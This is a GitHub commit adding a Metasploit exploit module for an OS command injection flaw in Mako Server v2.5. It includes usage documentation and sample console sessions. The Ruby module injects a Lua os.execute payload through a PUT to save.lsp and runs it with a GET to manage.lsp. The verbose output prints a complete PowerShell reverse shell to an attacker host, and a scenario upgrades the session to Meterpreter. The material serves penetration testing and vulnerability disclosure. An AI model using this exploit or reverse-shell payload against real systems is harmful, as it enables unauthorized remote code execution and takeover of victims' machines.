Skip to content

Commit 39916ef

Browse files
committed
Land rapid7#9133, Command injection in Mako Server examples
2 parents b7c604f + b96fa69 commit 39916ef

File tree

2 files changed

+288
-0
lines changed

2 files changed

+288
-0
lines changed
Lines changed: 163 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,163 @@
1+
## Description
2+
3+
This module exploits a vulnerability found in Mako Server v2.5.
4+
It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
5+
6+
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
7+
8+
## Vulnerable Application
9+
10+
[Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
11+
12+
This module has been verified against the following Mako Server versions for Windows XP SP3 and Windows 7 SP1 (x86/x64):
13+
- v2.5
14+
15+
Links:
16+
- [Windows installer](https://makoserver.net/download/mako.windows.x86.exe)
17+
- [Windows download page](https://makoserver.net/download/windows)
18+
- [Documentation](https://makoserver.net/documentation/manual/)
19+
20+
## References for vulnerability
21+
- https://blogs.securiteam.com/index.php/archives/3391
22+
- https://www.exploit-db.com/exploits/42683
23+
24+
## Verification Steps
25+
26+
1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
27+
2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
28+
3. Start msfconsole on host
29+
4. Do: ```use exploit/windows/http/makoserver_cmd_exec```
30+
5. Do: ```set RHOST <IP address of target system>```
31+
6. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
32+
7. Do: ```set LHOST <IP address of host system>```
33+
8. Do: ```exploit```
34+
9. You should get a Windows command shell
35+
36+
## Example Output
37+
```
38+
msf > use exploit/windows/http/makoserver_cmd_exec
39+
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
40+
RHOST => 10.10.10.3
41+
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
42+
PAYLOAD => cmd/windows/reverse_powershell
43+
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
44+
LHOST => 10.10.10.2
45+
msf exploit(makoserver_cmd_exec) > exploit
46+
47+
[*] Started reverse TCP handler on 10.10.10.2:4444
48+
[*] Sending payload to target...
49+
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400
50+
51+
Microsoft Windows
52+
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
53+
54+
C:\Users\Smith\Downloads\MakoServer>
55+
56+
```
57+
58+
## Example Verbose Output
59+
```
60+
msf > use exploit/windows/http/makoserver_cmd_exec
61+
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
62+
RHOST => 10.10.10.3
63+
msf exploit(makoserver_cmd_exec) > set VERBOSE true
64+
VERBOSE => true
65+
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
66+
PAYLOAD => cmd/windows/reverse_powershell
67+
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
68+
LHOST => 10.10.10.2
69+
msf exploit(makoserver_cmd_exec) > check
70+
71+
[*] Trying to detect running Mako Server and necessary files...
72+
[*] Mako Server save.lsp returns correct ouput.
73+
[*] 10.10.10.3:80 The target appears to be vulnerable.
74+
msf exploit(makoserver_cmd_exec) > exploit
75+
76+
[*] Started reverse TCP handler on 10.10.10.2:4444
77+
[*] Sending payload to target...
78+
[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]])
79+
[*] Sending PUT request to save.lsp...
80+
[*] Sending GET request to manage.lsp...
81+
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400
82+
83+
Microsoft Windows
84+
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
85+
86+
C:\Users\Smith\Downloads\MakoServer>
87+
88+
```
89+
90+
## Scenarios
91+
92+
### Targeting Windows 7 SP1 x64 running Mako Server v2.5
93+
94+
A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
95+
96+
```
97+
msf > use exploit/windows/http/makoserver_cmd_exec
98+
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
99+
RHOST => 10.10.10.2
100+
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
101+
PAYLOAD => cmd/windows/reverse_powershell
102+
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
103+
LHOST => 10.10.10.4
104+
msf exploit(makoserver_cmd_exec) > check
105+
[*] 10.10.10.2:80 The target appears to be vulnerable.
106+
msf exploit(makoserver_cmd_exec) > exploit
107+
108+
[*] Started reverse TCP handler on 10.10.10.4:4444
109+
[*] Sending payload to target...
110+
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400
111+
112+
Microsoft Windows
113+
Copyright (c) Microsoft Corporation. All rights reserved.
114+
115+
C:\Users\Smith\Downloads\MakoServer>^Z
116+
Background session 1? [y/N] y
117+
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
118+
msf post(shell_to_meterpreter) > sessions -l
119+
120+
Active sessions
121+
===============
122+
123+
Id Name Type Information Connection
124+
-- ---- ---- ----------- ----------
125+
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
126+
msf post(shell_to_meterpreter) > set SESSION 1
127+
SESSION => 1
128+
msf post(shell_to_meterpreter) > set LPORT 8080
129+
LPORT => 8080
130+
msf post(shell_to_meterpreter) > exploit
131+
132+
[*] Upgrading session ID: 1
133+
[*] Starting exploit/multi/handler
134+
[*] Started reverse TCP handler on 10.10.10.4:8080
135+
[-] Powershell is not installed on the target.
136+
[*] Command stager progress: 1.66% (1699/102108 bytes)
137+
...
138+
[*] Command stager progress: 100.00% (102108/102108 bytes)
139+
[*] Post module execution completed
140+
msf post(shell_to_meterpreter) > sessions -l
141+
142+
Active sessions
143+
===============
144+
145+
Id Name Type Information Connection
146+
-- ---- ---- ----------- ----------
147+
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
148+
2 meterpreter x86/windows smith-PC\smith @ SMITH-PC 10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2)
149+
150+
msf post(shell_to_meterpreter) > sessions -i 2
151+
[*] Starting interaction with 2...
152+
153+
meterpreter > getuid
154+
Server username: smith-PC\smith
155+
meterpreter > sysinfo
156+
Computer : SMITH-PC
157+
OS : Windows 7 (Build 7601, Service Pack 1).
158+
Architecture : x64
159+
System Language : en_US
160+
Domain : WORKGROUP
161+
Logged On Users : 2
162+
Meterpreter : x86/windows
163+
```
Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GoodRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Mako Server v2.5 OS Command Injection RCE',
14+
'Description' => %q{
15+
This module exploits a vulnerability found in Mako Server v2.5.
16+
It's possible to inject arbitrary OS commands in the Mako Server
17+
tutorial page through a PUT request to save.lsp.
18+
19+
Attacker input will be saved on the victims machine and can
20+
be executed by sending a GET request to manage.lsp.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
26+
'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
27+
],
28+
'References' =>
29+
[
30+
['EDB', '42683'],
31+
['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
32+
],
33+
'Arch' => ARCH_CMD,
34+
'Platform' => 'win',
35+
'Targets' =>
36+
[
37+
['Mako Server v2.5 - Windows x86/x64', { }]
38+
],
39+
'DefaultTarget' => 0,
40+
'Privileged' => false,
41+
'DisclosureDate' => 'Sep 3 2017'))
42+
43+
register_options(
44+
[
45+
OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
46+
]
47+
)
48+
end
49+
50+
def check
51+
vprint_status('Trying to detect running Mako Server and necessary files...')
52+
53+
# Send GET request to determine existence of save.lsp page
54+
res = send_request_cgi({
55+
'method' => 'GET',
56+
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp')
57+
}, 20)
58+
59+
# If response does not include "MakoServer.net", target is not viable.
60+
if res.headers['Server'] !~ /MakoServer.net/
61+
vprint_warning('Target is not a Mako Server.')
62+
return CheckCode::Safe
63+
end
64+
65+
if res.body
66+
if res.body =~ /Incorrect usage/
67+
# We are able to determine that the server has a save.lsp page and
68+
# returns the correct output.
69+
vprint_status('Mako Server save.lsp returns correct ouput.')
70+
return CheckCode::Appears
71+
else
72+
# The page exists, but is not returning the expected output.
73+
# May be a different version?
74+
vprint_warning('Mako Server save.lsp did not return expected output.')
75+
return CheckCode::Detected
76+
end
77+
else
78+
# The above checks failed and exploitability could not be determined.
79+
vprint_error('Unable to determine exploitability, save.lsp not found.')
80+
return CheckCode::Unknown
81+
end
82+
83+
return CheckCode::Safe
84+
end
85+
86+
def exploit
87+
print_status('Sending payload to target...')
88+
89+
# The double square brackets helps to ensure single/double quotes
90+
# in cmd payload do not interfere with syntax of os.execute Lua function.
91+
cmd = %{os.execute([[#{payload.encoded}]])}
92+
93+
# If users want to troubleshoot their cmd payloads, they can see the
94+
# Lua function with params that the module uses in a more verbose mode.
95+
vprint_status("Now executing the following command: #{cmd}")
96+
97+
# Send a PUT request to save.lsp with command payload
98+
begin
99+
vprint_status('Sending PUT request to save.lsp...')
100+
send_request_cgi({
101+
'method' => 'PUT',
102+
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
103+
'ctype' => 'text/plain',
104+
'data' => cmd,
105+
'http' => {
106+
'X-Requested-With' => 'XMLHttpRequest',
107+
'Referer' => 'http://localhost/Lua-Types.lsp'
108+
}
109+
}, 20)
110+
rescue StandardError => e
111+
fail_with(Failure::NoAccess, "Error: #{e}")
112+
end
113+
114+
# Send a GET request to manage.lsp with execute set to true
115+
begin
116+
vprint_status('Sending GET request to manage.lsp...')
117+
send_request_cgi({
118+
'method' => 'GET',
119+
'uri' => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
120+
}, 20)
121+
rescue StandardError => e
122+
fail_with(Failure::NoAccess, "Error: #{e}")
123+
end
124+
end
125+
end

0 commit comments

Comments
 (0)